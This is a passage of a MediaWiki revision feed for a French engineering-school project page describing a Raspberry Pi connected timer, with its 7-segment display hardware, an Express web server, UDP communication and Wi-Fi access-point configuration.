Dans ce programme, après les initialisations, une socket UDP est crée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en Entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initial et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parser en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoie et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieurs à 99 secondes en minutes et celle inférieurs à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49611</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49611"/>
				<updated>2019-01-26T18:19:57Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Serveur web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finaliser le programme de la Raspberry et installer les librairies qui permettent d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est crée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en Entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initial et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parser en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoie et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieurs à 99 secondes en minutes et celle inférieurs à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49610</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49610"/>
				<updated>2019-01-26T18:19:20Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* programme Raspberry */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
